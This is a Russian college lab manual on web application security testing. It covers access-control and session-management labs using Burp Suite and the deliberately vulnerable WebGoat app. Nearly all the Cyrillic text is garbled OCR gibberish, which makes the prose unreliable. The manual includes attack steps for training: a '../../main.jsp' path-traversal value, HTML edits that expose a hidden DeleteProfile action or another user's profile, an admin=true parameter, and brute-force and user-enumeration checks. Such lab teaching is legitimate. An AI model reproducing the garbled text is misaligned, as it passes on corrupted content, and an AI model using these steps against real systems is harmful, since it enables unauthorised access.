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Meroandeckiue yKa3zaHUsI IO BBITIOJIHEHHIO J1a00OpaTOpHBIX padoT pa3paboTaHbl Ha OCHOBE
paboueil mporpammsel yueOHON mucuuruiabl [IM.09. TlpoektupoBanue, pazpaboTka U ONTHUMHU3AILUSA
BeO-npunoxennit M/IK 09.03 Obecnieuenne 6€301acHOCTH BEO-TIPHIIOKEHUH.

Copneprxanue J1abOpaTOPHBIX PabOT OPUEHTHPOBAHO HA MOATOTOBKY OOYYAIOIIUXCS K OCBOCHMIO
MpoeCCHOHAIBHOTO ~ MOAYJST TPOTPaMMbl  MOATOTOBKH  CIECIMAIMCTOB CPEIHETO 3BEHA IO
cneuuanbHocT 09.02.07 MHpOpMalmoHHbIe CHCTEMBl U NMPOrPaMMHUPOBAHUE M OBJIAJCHHUIO OOLIMMHU
KOMIICTCHIIUAMMU.
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1 BBEAEHUE

Baxnyio yacth TeopeTHueckoi U npodhecCHOHAIBHON MPAKTUYECKOH MOATOTOBKH OOYUYaIOIINXCS
COCTaBJISIIOT J1A00PATOPHBIE 3aHSTHSL.

CoctaB M cozepkaHue JIaDOPATOPHBIX 3aHATHHA HalpaBlieHbl Ha peanu3anuio DeneparbHOro
rocy/1apCTBEHHOI0 00pa30BaTEIbHOTO CTaHIapTa CPeIHEro NpohecCHOHaIBLHOr0 00pa30BaHusl.

Benymeld aupakTHUeckoil  menbio  Ja0OpaTOpHBIX — 3aHATHHA — sABIsSIeTCS  (OPMHPOBAHUE
npoecCHOHANBHBIX MPAKTUYECKUX YMEHHUM (YMEHUN BBIMOIHATH ONpPECICHHbIE NEHCTBUS, onepalui,
HE0OXO/IMMBIE B MOCIIEAYIOIIEM B MPO(ECCHOHATBHON NEesITeIbHOCTH), HEOOXOAUMBIX B MOCIIEAYIOMIEH
yueOHON eI TebHOCTH.

Benymeli numakTHdeckodW 1eibl0  JTaO0OpAaTOPHBIX 3aHATHA  SBISETCS OKCIEPUMEHTAIBHOE
MOJTBEPK/ICHUE U NPOBEPKA CYIIECTBEHHBIX TEOPETUYECKUX MOJOKEHHM (3aKOHOB, 3aBUCUMOCTEH ).

B cootBercTBUM ¢ paboueit mporpammoii [IM.09. TlpoekTupoBanue, pazpaboTka U ONTHUMHU3ALUS
BeO-npunoxennii, MJK 09.03 OGecneueHue O0€30MACHOCTH BEO-NPUIOKEHUH MPEAYCMOTPEHO
MIPOBEICHHE JTA0OPATOPHBIX 3aAHSITHIA.

B pe3ynbraTe ux BBINOIHEHUS, 00y4alOIIUNACs JOKEH:

ymembv:

VY35. ocymiecTBasATh AyAUT 0€30MaCHOCTH BEO-MIPHIIOKEHU;

VY36. moauuupoBaTh BeO-MPUIOKEHHE C IS0 BHEAPEHUS MPOTPaMMHOI0 KOJa 10 00ECIeueHUI0
0€30MacHOCTH €ro paboThl;

Y01.2 ananu3upoBath 3a7a4y U/WiIK IpoOieMy U BBIIETATH €€ COCTaBHbIC YacTH;

¥02.4 cTpykTypupoBaTh M0OIy4aeMyto HH(OPMaLUIO;

Y03.2 npuMeHSITh COBPEMEHHYIO HAyYHYIO MPOPECCHOHATBHYIO TEPMUHOIOTHIO;

V09.1 npumensTe cpeacTBa HHGOPMAITMOHHBIX TEXHOJIOTUH Il pelieHust Tpo(ecCHOHANIbHBIX 3a/a4;
¥ 09.2 ucnonb30BaTh COBPEMEHHOE MPOTPAMMHOE 00ECTICUCHHUE;

V10.1 moHnMaTh 00K CMBICI YETKO MPOU3HECEHHBIX BHICKAa3bIBAHUI HA U3BECTHBIC TEMBI
(mpoteccroHaNbHbIE U OBITOBHIE).

Coneprxanre 1a00paTOPHBIX 3aHATHM OPUEHTUPOBAHO Ha (OPMHUPOBAHHME OOIIMX KOMIIETEHIIMH IO
podheCcCHOHATTEHOMY MOJTYITO MPOrPaMMBbI ITOJTOTOBKH CHELMAICTOB CPEAHETO 3BEHA 110 CHEHUAIBHOCTH U
OBJIAZICHUIO POPeccuoHanbHbIMU KOMREMEHUUAMU.

I1K 9.8 OcymiecTBaATh ayauT 0€30MaCHOCTH BEO-NIPUIIOKEHUS B COOTBETCTBHU C perjaMeHTaMH
1o 6€301acHOCTH

A Taxoxke GOpMUPOBAHUIO 0OUUX KOMNEMEHYUIL.

OK 1. BpiOupats crocoObl perieHus 3aaad npohecCuOHaIbHON 1eATeTbHOCTH, IPUMEHUTEIBHO
K pa3JIMYHbIM KOHTEKCTaM

OK 2. OcymiecTBisATh IMOKMCK, aHAIW3 W HWHTEpHpeTanuio HH(OpManuu, HEOOXOAUMOW Ui
BBITMOJHEHUS 3a/1a4 NMPOPECCUOHATBHON AESITETbHOCTH.

OK 3 IInmanupoBaThb M pealU30BbIBaTh COOCTBEHHOE NPOPECCHOHATBLHOE W JHMYHOCTHOE
pa3BUTHE.

OK 4 [IInanupoBaTb M peaIM30BbIBaTh COOCTBEHHOE NPOPECCHOHATBLHOE W JHMYHOCTHOE
pa3BUTHE.

OK 5 IlnmanupoBaThb M peaIM30BbIBaTH COOCTBEHHOE NPOPECCHOHATBLHOE W JHMYHOCTHOE
pa3BUTHE.

OK 6 IlposBiaTh TIpakAaHCKO-NIATPHOTHYECKYIO IO3UIUI0, JEMOHCTPUPOBATH OCO3HAHHOE
MOBE/ICHHE Ha OCHOBE TPAJUIMOHHBIX OOIIEYENIOBEYECKUX IEHHOCTEH, MNPUMEHSTh CTaHIapThl
AHTUKOPPYINLHUOHHOIO NTOBEAECHHUS

OK 7 CopnelicTBOBaTh COXpaHEHHUIO OKPYKAIOIICH Cpelbl, pecypcocOepekeHuto, 3h(PpeKTuBHO
JIEICTBOBATH B UPE3BbIYAHBIX CUTYyaLUsX.

OK 8 MHcmonws3oBarh cpenctBa (U3MYECKOW KYIBTYPHl IS COXPAHCHUS W YKpEIUICHUs
3I0pOBBsI B IIpoliecce MPOPEecCHOHATBHON NEATETBbHOCTH W TOAACP)KaHUS HEOOXOIMMOTO YpPOBHS
buznyecKoil MoAroTOBIEHHOCTH
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OK 9 Hcnonb3oBarh HHPOPMALIMOHHBIE TEXHOJIOTHH B IPOPECCHOHATBHOM EATETLHOCTH.
OK 10 TIlomp3oBarbcst  mpodeCCHOHAIBHOW  JOKyMEHTAIMeld Ha  TOCyJapCTBEHHOM |
MHOCTPAHHOM $I3bIKaX.

Brimonuenue o0y4arommmucs aaboparopHeix padot mo [IM.09. TlpoexktupoBanue, pazpadboTka u
ontumuzanus  BeO-npwiokernuit, MJIK 09.03 OOGecrieuenne 0€30MaCHOCTH  BEO-TIPHIIOKEHUIN
HAIpPAaBIICHO Ha!

- 00oOwenue, cucmemamusayuio, yenyOieHue, 3aKpenjienue, pazsumue U Oemanu3aAyUro
NOJLYYEHHBIX MeOPemU4ecKUx 3HAHUL N0 KOHKPEMHbIM MeMam MeHCOUCYUNTUHAPHO20 KYPCA,

- (hopmuposanue ymeHuil npUMeHsims NOJYYeHHble 3HAHUS HA NPAKMUKe, Peatu3ayuro eOuHcmaed
UHMELIeKMYAJIbHOU U NPAKMUYECKOU 0esImelbHOCU

- 8bIPAOOMKY NPU peueHuU NOCMABIEHHBIX 3a0ay NPOPECCUOHANbHO 3HAUUMbBIX KA4ecme, mMaKux
KAK camocmosamenbHOCmyb, OMEemCcmeeHHOCMb, MOYHOCMb, MEOPUECKAsi UHUYUATNUBA.

JlaGopaTopHbIe 3aHSTHS POBOJISATCS TIOCIIE COOTBETCTBYOIICH TEMbI, KOTOpas 0OeCrieUnBacT HATUYHE
3HAHWH, HEOOXOIMMBIX JJISI €€ BHITOIHEHUSI.



2METOJANYECKHUE YKA3ZAHUS
MJIK 09.03 OBECIIEYEHHME BE30ITACHOCTH BEB-TTPUJIOXKEHMIA
Tema 3.1 Texnonoruu obecneueHus: 6€30MaCHOCTH BEO — MPHUIOKECHUN

JlabopaTopHoe 3ansiTne Ne 1
«TecTupoBaHue 3aIIMIIEHHOCTH MEXAHU3MA YIIPABJIEHHUS JOCTYIIOM H CECCHAMM))

e padoTsl
Llenbto 1abopaTtopHOii paboThI ABIsiCTCS 00yUeHHE METOAAM U cpeicTBaM cOopa nHpopmaruu 0o

aHAJIM3UPYEMOM BEO-TIPUITOKCHHH.

Beimosiaue pa6ory, Bel Oynere:
ymembp:

V35. ocymecTBIATh ayAUT O€30IaCHOCTH BEO-TTPUIIOKEHUIA;

VY01.2 ananu3upoBath 3aa4y W/Win NpoOiIeMy U BbIIEIATh €€ COCTaBHbIC YaCTH;

Y02.4 ctpyKTypupOBaTh MOIy4aeMylo HHPOPMALIUIO;

VY03.2 npuMeHsITh COBPEMEHHYIO HAyYHYIO TPO(PECCHOHATBHYIO TEPMUHOJIOTHIO;

VY09.1 npumeHATh cpeacTBa MH(POPMAIIMOHHBIX TEXHOJIOTUH JUIsl peleHusl Mpo(decCHOHATbHBIX
3az1ay;

V09.2 ucnonp3oBaTh COBPEMEHHOE MPOTPAMMHOE 00ECTICUCHHUE;

MarepuanabHoe obecnedyenne:

[TK,rexcToBbIil penaktop biaokHOT,0pay3ep

3aganme:

1. BoIMOMHUTH  TECTHPOBaHHWE  3AIIMIIEHHOCTH  MEXaHW3Ma  YIpaBJICHUS  JIOCTYIIOM
HCCIIETyEMOTO BEO-TIPUITOKEHHUS.

2. BBITOJHATE TECTHPOBAHKE 3AIMUIICHHOCTH MEXaHU3Ma YIIPABJICHHSI CECCUSIMHU UCCIISTyeMOTO

BEO-TIPUIIOKEHHUS.

Kparkue Teopernueckue cBegeHUs
OaHUM M3 OCHOBHBIX MEXaHWU3MOB 3aIlllUTHI COBPEMEHHBIX BEO- MPUIOKEHUN SBISETCS MEXaHH3M
yrpaBieHus 10cTynoM. OOBIYHO BBIACISIOT CIEIYIOIINE dTAbl YIIPABICHUS T0CTYIOM [8]:
— HJSHTU(PUKAIUSI — YCTAHOBJICHHUE UICHTH(PUKAITMOHHBIX TAHHBIX;
— ayTeHTU(]HKAIUS — TOATBEP)KICHHOE YCTAaHOBJICHUE UACHTH(HKA- IIMOHHBIXIaHHBIX;

— aBTOpHU3alHd — Ha3HAUCHHUC IIpaB I/I,Z[CHTI/I(bI/IKaHI/IOHHBIMI[aHHBIM.



[Ipu Bxoxe B BeO-mpuioxeHue (signin, login) mosp3oBaTenh WASHTUGUIUPYETCS (COOOIIAeT CBOM
uaeHTuukaTop) M ayreHTuduuupyercs (IOKa3bIBaeT, YTO OH HMEHHO TOT TMOJb30BaTelb, Yeil
UICHTU(PHUKATOP OBUT COOOIICH).

BonbmmHCTBO BEO-NPUIIOKEHUI HCIIONB3YIOT ayTEHTU(HUKALMIO 110 Tapoiito. B BeO-MPHITIOKEHHSIX C
BBICOKMM YPOBHEM 3alllUIIEHHOCTH (HampuMmep, B IHTepHeT-0aHKax) TakkKe MPUMEHSIOTCS MPOTOKOJIbI
nByx(haktopHoi ayreHTUGUKanuU. OU4eBUIHBIM HEAOCTATKOM ayTEeHTU(DHUKAIMH 10 MaPOJI0 SBISETCS
BO3MO>XHOCTb MCIIOJIb30BaHUS NapoJIel ¢ MJIOXUMH CTATUCTUYECKUMH XapaKTEPUCTUKAMU. XpaHEHHE
napoiyii WIM €ro Iepegada IO KaHajaM CBSI3M B OTKPBHITOM WIHM JaKe 3alIu(ppPOBAHHOM BHUJE
MOTEHLUATBHO HECET YTPO3y PACKPHITHS MapOJIs.

Tem He MeHee, COBpeMEHHbBIE 3allUIIEHHbIC BEO-TIPUI0KEHHUS B OOJIBIIMHCTBE CIIY4aeB HCIOIb3YIOT
niepeaqy napois B 3amu(poBaHHOM BHUJIE C TIOMOIIBIO IPOTOKOJIOB cemeiictBa SSL/TLS, a xpaneHue
naposisi B XeIUpoBaHHOM BHje. [Ipu 3ToM nis XpaHeHHs maposiei Mosib3oBaTeneii peKOMEeHIyeTcs
UCTIOJIB30BaTh HE KpumnTorpaduyeckue xX>m-QyHKIUU oOmmero HaszHaueHus (Hampumep, SHA wnm
MD)5), a cneumnanuszupoBannbie (yHkuuu PBKDF2, berypt, scrypt u t.m. Takxke st XpaHeHHs
naposieii HeoOX0AMMO HCIONB30BaTh «COJbY, MPEAHA3HAUCHHYIO UIS 3aTPYAHEHUS MPOBEACHUS aTak
0 CJIOBAPSIM U paJy’KHbIM TaOJIULAM.

ABTOpH3alsi B BEO-TIPUIIOKEHUSIX MOXKET OBITh OIpe/eNieHa KakK IMPOIecC MPOBEPKH TOTO,
paspelleH WIX 3allpelleH 3aIpoc Ha MOJyYeHUs JOCTYIa MOJIb30BATENs K PECYPCY B COOTBETCTBUH C
3aJaHHOM NOJMUTHUKON Oe3omacHocTH. Kak mnpaBuiio, B BeO-NPHIIOKEHHUSIX peau3yercss pojeBas
(RBAC) nnu arpudyrsnas (ABAC) nonutrka J0ru4eckoro ynpapieHHUs T1OCTYIIOM.

OnHUM U3 METOJ0B TECTHMPOBAHHUS BO3MOXKHOCTH IOJIyYE€HUS MPUBUIIETUN JIPYroro MOJIb30BaTEls
sBisiercs nuddepeHuanbHplii aHanu3. Ero unes 3axitoyaercs B MASHTHU(QHUKAIMKA BCEX BO3MOXKHBIX
3anpocoB U cooTBeTcTBYOMMX UM URL, KOTOpBIE MOKET BBINOJHUTH JaHHBIN IOJIB30BATENb. 3aTEM
BCE TOJyYEHHBIE 3aIIPOCHI BHIITOJIHAIOTCS OT UMEHU JPYToro MOoJb30BaTelIsd BE0-TIPUIIOKEHNUS.

MexaHnu3M aBTOpPHU3ALMU PEKOMEHIYeTCS pealu30BbIBaTh Ha YPOBHSX IpEACTaBlIEHUs, OH3HecC-
JOTMKM W JaHHBIX BeO-TIPUIIOKEHUS. YPOBEHb NPEACTaBICHUS — HE OTOOpa)kaeT (yHKIIMOHAT
(Hanmpumep, GopMbl, PpeiimMbl, CCHIIIKU, KHOIIKH), Ha KOTOPBIH MOJIb30BaTeh HE UMEET MpaB JIOCTYIIA.
YpoBeHb Ou3HEC-TOTMKH 00ecrevyrBaeT BBIOJIHEHHWE MPOBEPKU HAJIW4YMs COOTBETCTBYIOIIMX IpaB
JOCTyNa JI0 BBIMIOJIHEHUSI 3ampoca B BEO-IPUJIOKEHUU, T.e. HHUKakue (YHKIUU HE MOTYT OBbITh
BBINIOJIHEHB! 1O aBTOpU3allMM (HAaIpUMEp, €CJIM I0JIb30BaTENb OTIPABIIAET 3allpoc HA YAAJIEHUE
YYETHOH 3amucH, TO BEO-IPUIIOKEHHE JOIDKHO YOEIUTBhCS, YTO MOJb30BAaTENb HMMEET IpaBO Ha
ylajeHue y4YeTHON 3alKiCH U HE BBIMOIHIATh HUKAKUX (QYHKIUH 0 TOTrO, KaKk 3TO OyJeT YCTaHOBJIEHO).
YpoBeHb NaHHBIX OOEcTeYrBaeT MPOBEPKY HAIWYMS MpaB AOCTYyINa IMOJb30BaTeNs K JaHHBIM, a HE

TOJIBKO K (pyHKIIMOHAITY 00paOOTKH JaHHBIX (HAaIlpuMep, NOJIb30BaTelb, ucrnonb3ys URL Buaa



/delete?record=1, momkeH yaaiaTh TOJBKO T€ 3alMCH B 0a3e JaHHBIX, HA KOTOPHIE OH MMEET MPaBO

noctynaDELETE).

ITocsenoBaTeIbHOCTH JEHCTBUM

[Iar 1. Hactpouth paboty Opay3epa uepe3 mTaTHBIN MpoKCcH- cepBep BurpSuite. B Be6-Opaysepe

OTKPBITh TJIaBHYIO CTPaHMILYy T€- CTUPYEMOIo BeO-IpuiIoxkeHns WWw.test.app.com.

[ar 2. 3apeructpupoBarbcsi B BeO-nipuiioskeHuu. [lonydnts uaeH-
TUPUKATOP YYETHOM 3amiCH W Tapojb JOCTyna K BeO-mpuiiokeHuto. [IpoananusupoBaTh
IpeACcKa3yeMoCTh UAEHTHU(PUKATOPOB M0JIb30BaTe- JIEH U, €CJIM 3TO BO3MOXKHO, AJIFOPUTM Ha3HAYCHUS
uneHTugukatopoB. Ilpoananu3upoBarh peaarM30BaHHYIO B BEO-NPUIIOKEHUM IMAPOJIbHYIO MOJIUTHUKY.
OueHuTh JOCTYIHYIO CIIOKHOCTh BbIOOpa Maposeil monb3o- BareasiMu. ONIMOHAIbHO BBIIOJHUTH
aTaky I1OJIHOTO niepebopa napo- Jjeil.

Hlar 3. IlepeifiTh MO cchuTke A ayTeHTHU(HUKAIMKM B TpHiiokeHWH. llpm sTom HeoOxommmo
ybenuThes, uTo hopma ayTeHTU(UKAIMK J0- CTyMHA ToibKo 1o npotokony HTTPS. Y6eaurscs, uro
BBOJIUMBIE TOJIH30BATENIEM JIOTUH M MApoJib OTIPABISAIOTCS B 3alIM(PPOBAHHOM BHJIE IO MPOTOKOIY
HTTPS. Y0enutscst, yTo JOTMH U ApOib HE OT- mpasiiAioTcs ¢ nomouibto HTTP-merona GET.

[ar 4. [IpoBepuTh, YTO B BEO-NIPUIIOKEHUN HU3MEHEHBI CTaHJApT- HbIE MAapOJId JJIsi BCTPOCHHBIX
yUYEeTHBIX 3anucei. [[poBepuTh, 4TO HO- BbIE YUETHBIE 3alIUCU CO3/IAI0TCS € PA3JIMYHBIMU NAPOJISIMHU.

Har 5. IIpoBepuTh BO3MOXKHOCTb MJIEHTH(UKALIMYU M10JIb30BaTENCH BeO-IPUIIOKEHHS Yepe3 (popMBI
pEerucTpanyu, BXoJa 1 BOCCTAaHOBIIE- HUS NapOJIs.

s aTOrO ClieqyeT BBECTH HECYILECTBYIOIIEe MMs Mojb3oBaTens (Hampumep, qawsedrfl234) u
IIPOM3BOJBHBIA NApoJib, a 3aTEM HMMs Cy- IIECTBYIOIIETO II0JIb30BATENs W NPOM3BOJIBHBIN, HO
HeNpaBWIbHBIA Na- pojib. B 000uX ciyyasx JOKHO OBITH BBIBEJEHO OJHO U TO K€ CO00- IeHue 00
ommnbOke Buaa «Ommlka B UIMEHH I0JIb30BATENs WM HeBep- HbIM mapousib». Takke o0a HTTP-orBera
JOJIKHBI COBIIAJIaTh C TOYHO- CTHIO JI0 U3MEHSEMBIX MapaMeTpOB U ObITh MOIYYEHBI 32 OJJHO U TO ¥Ke
BpeMs. B mpoTuBHOM cilyuae BeO-TIPHIIOKEHHE HMMEET CKPBITBIA KaHai (Opakyn), MO3BOJSIONIMNA
UICHTU(PHUIIMPOBATH €TO MOJIb30BATENEH.

[ar 6. [TpoBepuTh BO3MOXKHOCTh PeATM3aIlMN aTaKu MMO00pa TMa- poJis Mojb30BaTel. BBectu ums
noJsib3oBarens. BBecTn HeckonbkO pa3 HempaBuibHBIM maposb (5 — 10 pas). Ilocie atoro BBecTH
MIPaBUIbHBIN
napoJib JUIs 3TOW Y4eTHOH 3amucu. BBecTr oiMHAKOBBIN Maposib IS pa3HbIX YYETHBIX 3anuceil (Juist 5
—10).

[IpoBepuTh BO3MOKHOCTH JIOCTyNa K BEO-TIPHIIOKEHHUIO. BIIOKMpO- BaHWE YUYETHBIX 3amucei
10JIB30BATENS TIOCIIE HECKOJIBKMX HEYIauHbIX MOMBITOK BXOJA CO3JAET yCIOBHE A peanu3auuu DoS-

aTakKu U HC OOJDKHO HCIIOJIB30BAThCA B MCXaHU3MaX 3alllUThl OT aTakK Ho;[6opa na- poneﬁ. Bwmecto
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http://www.test.app.com/

3TOr0 HEOOXOJUMO HCMOJIb30BATh BO3PACTAIOIIME BpE- MEHHbIE 3aJepKKU WIM CpEJICTBA AHTH-
aBromatuzanuu (Hanpumep, CAPTCHA).

[ar 7. IlpoBepuTh, YTO UYBCTBUTENBbHBIII KOHTEHT (HalpUMep, CTPAHULIBI C BBEIECHHBIMU
HOMEpaMU KpPEeIUTHBIX KapT, CIETOB, a/Ipe- COB) HE JIOCTYIEH yepe3 Mexanu3Mm History Be6-Opaysepa, a
TaK)K€ HE KJIIIMPYEeTCs WM. BOWTHM 1OJX YYETHOM 3alMChIO IOJIb30BATEIA, IEPEUTH HA CTPAHHULY C
YyBCTBUTEIbHBIM KOHTEHTOM. BBecTu HOBbIe aaHHbIe. BpliiTh u3 npuioxenus. Haxare KHONKY
«Back». Ilonb3oBarenb He MOJDKEH HMMETh BO3MOKHOCTH BBIMOJHSATH HOBBIE 3alpPOChl (TIPU KOP-
PEKTHOI peanu3aluu YIpaBJIeHUs ceccusiMu). Eciau mpu 3TOM IOJIb30- BATEN0 JOCTYIHBI PaHEe
3arpamBaeMble CTPAHMIIBI, TO 3TO O3HAYAET, YTO CEpBEpHasl 4acTh BEO-TPUIIOKEHUS HE 3alpeTuiia
Be0-Opay3epy COXpaHsITh JaHHbBIE B HCTOPHUHU.

3anpemenue ka3mupoBanus onpenenserca Hannauem HTTP- 3aronoskoB Pragma, Cache-Control u

Expires co cieayommuMu peko- MeHI0BaHHBIMHU 3HAUCHHSIMHU:

Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate, max-age=0

Expires: -1

Hlar 8. 3amyctuth BeO-npuinoxxenue WebGoat. Beectu norun:
«guest», Maposib: «guesty.

[Tepetitunoccouike «Access Control Flaws — Bypass a Path Based Access Control».
N3yauTthycnoBuszagaun. Uc- nosb3ysFireBug (nnmnro0oNaHAIOTMIHBIMMHCTPYMEHT),
usmeHuTh3Hadenue AccessControlMatrix.html ua ../../main.jsp. HaxxatekHonky «View Filey.

[Tepeiitunoccouike «LAB: Role Based Access Control — Stage 1». M3yuuTh ycioBus 3a1auu.
Boiitu non monws3oBarenem Tom (maponb: Tom). MOXXHO BHIETh, YTO OT IOJIb30BATENs CKpBITA
KHOTIKa

«DeleteProfile», Tak kak OH He JOKEH MMETh BO3MOXKHOCTH yJa- JIATh y4eTHble 3anmucu. HaxaTh
kHONKYy «ViewProfile». B BurpSuite nmpocmotpets 3anpoc. Mcnonssys FireBug (unu mro60ii anano-

TUYHBIN MHCTPYMEHT), n3MeHuTh HTML-pa3meTy, 3aMEHUB 371€MEHT

<input type="submit" value="ViewProfile" name="action">
Ha3JICMCHT
<input type="submit" value="DeleteProfile" name="action">



Haxare xnomky «DeleteProfile». IlpocmoTpers ornpaBiennslii 3anpoc B BurpSuite. IIpoduns
HoJIb30BaTesst OyIeT ylaieH.

OnuuonansHOo pemuth 3anauy «LAB: RoleBasedAccessControl — Stage 2».

[Mepeiitunioccruike «LLAB: Role Based Access Control — Stage 3». M3yuuth ycnoBus 3ajauu.
Boiitu non nonezoBatenem Tom (mapons: Tom). Haxare xHomky «ViewProfilen. B BurpSuitenpo-
CMOTpEeTh 3amnpoc. MOXHO BHJIETb, YTO IIOJb30BATENIO JOCTYIHBI JaH- HbIE CBOETO MPOQUIIS.

Ucnonp3ys FireBug (unm mro0oi aHamOTWYHBIM MHCTpYMEHT), u3MeHuTth HTML-pasmery, 3ameHuB

DJIEMEHT

<option value="105" selected="">Tom Cat (employee)</option>
HAa’3JICMCHT

<option value="103" selected="">Tom Cat (employee)</option>

Haxare knomky «ViewProfile». IlpocMoTpers otmpaBnenssiii 3anpoc B BurpSuite. Bbynyt
BBIBEJICHBI TaHHBIE Tpodust monp3oBatens CurlyStooge.

OnuuonansHo pemuth 3ana4y «LAB: RoleBasedAccessControl — Stage 4».

[Mepeiitunocceiike «Remote admin access». H3yuntbycioBussamgaun. I[IpocMOTPETHIIOIMEHIO
«AdminFunctionsy. [Mepeiitunoccruike\WebGoat/attack?Screen=86&menu=200&admin=true.
[IpocmoTtpets noamento «AdminFunctionsy.

Bonpocsl u 3a1aHus

1. M3yunTe peKOMEHJAalMM K 3allWIICHHOM pealu3alud MEXaHU3Ma XpaHEHMs MapoJeil.
HccnenoBaTh MEXaHNW3M BOCCTAaHOBJICHHUS apoJieil BHIOPaHHOTOBEO-MTPUIIOKEHHUS.

2. WccrnenoBarh MUHUMAJIBHO JOIYCTHUMYIO JUIMHY M CIIOKHOCTH I1apOJIEN B IPOU3BOJIBHBIX IISTH
BeO-npuioxenusx u3 peiiruara ALEXA TOP100.

3. UccnenoBaTh HaJlMYMe OpaKyJoB B MEXaHH3MaxX ayTeHTHU(HKA- IUU NMPOU3BOJIbHBIX IISITH BEO-

npuiokeHusx u3 peituara ALEXA TOP 100.

2 3apanue

Ceccust BeO-npusioxkeHusi — 310 nocienoBarenbHocth HTTP- 3anpocoB M cOOTBETCTBYIOIIUX UM
HTTP-orBeToB, acconMMpOBaHHBIX C KOHKpETHBIM moib3oBareneM. [Iporokon HTTP nHe umeer
BCTPOCHHBIX MEXaHM3MOB YIIpaBIIEHUs ceccusiMu (statelessprotocol) u mo3ToMy MeXaHHU3M YIpaBICHUS
CeCCUsIMU pealM3yeTcsl JIOTUKOM BeO- mpuioxeHua. Kak MHHHMyM, ceccus cO34aeTcss HpHU

yCIelHOMayTeHTU(UKAIIUY T10JIb30BaTeNs B BeO-puiioskeHuu. [Ipu 3ToM reHepupyeTcsi yHUKaIbHBIN
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uneHTuGUKaTOp (TOKEH) CECCUH, aCCOIMUPOBAHHBIN C ATUM IMOIb30BaTeneM. J[aHHbIi uaeHTudukarop
nepenaercs B kaxaom HTTP-3anpoce u siBIsieTcss aHAIOroM Maposisi MOJIb30BATEINs, TaK KakK JIF0OOU
HTTP-3anpoc, conepxamuii Takoi HACHTUPUKATOP, OYIAET BOCIIPUHAT BEO-TIPHIIOKEHUEM KaK 3ampoc
OT JIESTUTUMHOTO TIOJIb30BATEIIA.

Kak npaBuiio, uneHTudukaTop ceccuu nepenaercs B 3arosioBkax Cookie cpenctBamu BeO-0paysepa,
pexke B cienuanbHbix HTTP- 3aromoskax (manpumep, X-Auth-Token) cpencrtsamu AJAX. Tlepenaua
uneHtudukaropa ceccu B URL sBisieTcsi HaMMeHee 3alIUINEHHOW W B HACTOSINEE BpeMs, Kak
NPaBUJIO, HE IPUMEHSETCS.

[TpuBenem ocHOBHBIE TpeOOBaHMS OE30MACHOCTH K pealH3aluyd MEXaHH3Ma YIPaBICHUS CECCHIMU
[8]:

— UMS CECCHOHHOTO HJICHTHU(UKAaTOpa HE JHOJDKHO TIO3BOJIATH JIETKO HIACHTU(DUIMPOBATH BeO-
npuinoxkenue (Hanpumep, PHPSESSID, ASP.NET Sessionld,JSESSIONID);

— JUIMHA CECCHOHHOTO MAECHTH(HKATOpa T0JDKHA OBITh HE MeHee 128 Our;

— DHTPOIHUS CECCHOHHOTO UACHTU(PHUKATOPA JOJDKHA OBITh HE MeHEe 64 OuT;

— Iepelaya CECCHOHHOTO HACHTHU(UKATOpa [OJDKHA OCYIIEeCTBIAThCS B 3arosioBkax Cookie ¢
¢dmaramu HttpOnly, Secure u BeicTaBieH- HbIM arpuOyromDomain;

— TIOocJe M3MEHEHHUs COCTOSHHSI TOJb30BaTeNs (BXOJ B BeO- NMPHIIOKEHHWE, CMEHA Mapojisi, CMEHa
pOJHU, UCTeUeHHEe TaiiMayTa HEe-aKTUBHOCTU M T.I.), KpDUTUYHOTO C TOYKH 3PEHHS MOIUTHKU Oe3-
OTACHOCTH, TOJI’KEH CO3/1aBaThCsl HOBBIM MIEHTU(DUKATOP CECCUH, A CTAPBI —aHHYIHUPOBATHCS;

— mnocye usMmenenus nporokona HTTP wa HTTPS nomken co3naBarh- csi HOBBIN HIEHTU(UKATOP
CECCHUH, a CTapbli —aHHYJIUPOBATHCS;

— aHHYJIUPOBAaHUE CECCHOHHOTO MJIEHTHU(UKATOpA TOJKHO OBITh pea- TU30BaHO KaK Ha KJIHEHTE, TaK
U HacepBepe;

— JOJDKHBI OBITh pealn30BaHbl TailMayT HEAKTHBHOCTH, aOCONIOTHBIA TaiiMayT W TalMayT
OOHOBIICHHSI CECCHOHHOTOMICHTH(HUKATOPA.

Beiensror ciemyroniie OCHOBHBIE aTakd Ha MEXaHU3MBI YIIPABJICHUS CECCUSIMHU:

— (uxcamnusaceccun;

no100p UACHTU(PHUKATOPACECCUH;

— IepexBaT UAEHTU(]UKATOpACEeCCUU;

Kpaka HIEHTU(PUKATOPACECCHUH.
[Tomyuenue uaeHTU(HUKATOPA CECCUU TTOIH30BATENS IPUBOIUT, KaK MIPABHIIO, K MOTYICHUIO
3II0YMBIIIJICHHHKOM BCEX TIPaB MOJIb30BaTETIs.
IMocaenoBaTeILHOCTE AeHCTBHA
[Iar 1. Hactpouth paboty Opay3epa uepe3 mTaTHBIN Mpokcu- cepBep BurpSuite. B Be6-Opaysepe

OTKPBITh TJIABHYIO CTPaHUIly TECTHpyeMoro BeO-mpuioxenus Www.test.app.com. IIpocmorpers
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Cookie, ompenenuTb, cO3MaeTcs JH CECCUS IS HEayTEHTHU(HUUIHUPOBAHHBIX  (QaHOHUMHBIX)
M0JIb30BaTENEH.

[lar 2. BBectu KOppeKTHbIE JIOTHH M maposib. OmpeaenuTh, YTO HCIOJIB3YETCS B KadecTBE
TpaHCHopTa i nepeaayn uaeHTudukaropa ceccun. Ecnu mist atoro ncnons3yercs mexanusm Cookie,
TO ONpeAenuTh uMeHa cookie, ux arpudytsl (Secure, HttpOnly, Domain, Path, Expires) u 3HaueHwus.
[Tpoananu3upoBaTh aJC€KBaTHOCTh UCTIONIB3YeMbIX aTpuOyToB Cookie.

ar 3. [Ipoananm3upoBaTh UMs HIECHTH(PHUKATOPA CECCUU, €TO CTPYKTYPY U 3HAYCHUE, ONPEICITUTh,
UCTIONB3YeTCs JM KOJUpOBaHME WM IH(poBaHue NaHHBIX. Vcmonp3ys MHCTpyMEHT Sequencer B
BurpSuite, MIPOaHAIN3UPOBATH BEPOSITHOCTHBIE XapaKTePUCTUKH M0CJIEI0BATEIbHOCTH
UJICHTUPHUKATOPOB ceccuil. CrenaTh BBIBOJA O COOTBETCTBUM peAIM3allMU  (PYHKIUU TeHEepaIuu
UJICHTU(PHUKATOPOB TpeOoBaHUsM Oe3omacHocTH. Caenarh BBIBOJA O BO3MOXKHOCTH HCIOJIb30BAHUS
aTaku rpy0oil CHIIBI I TeHEPALluU CECCHOHHOTO UACHTU(PHUKATOPA TOIH30BATEIIS.

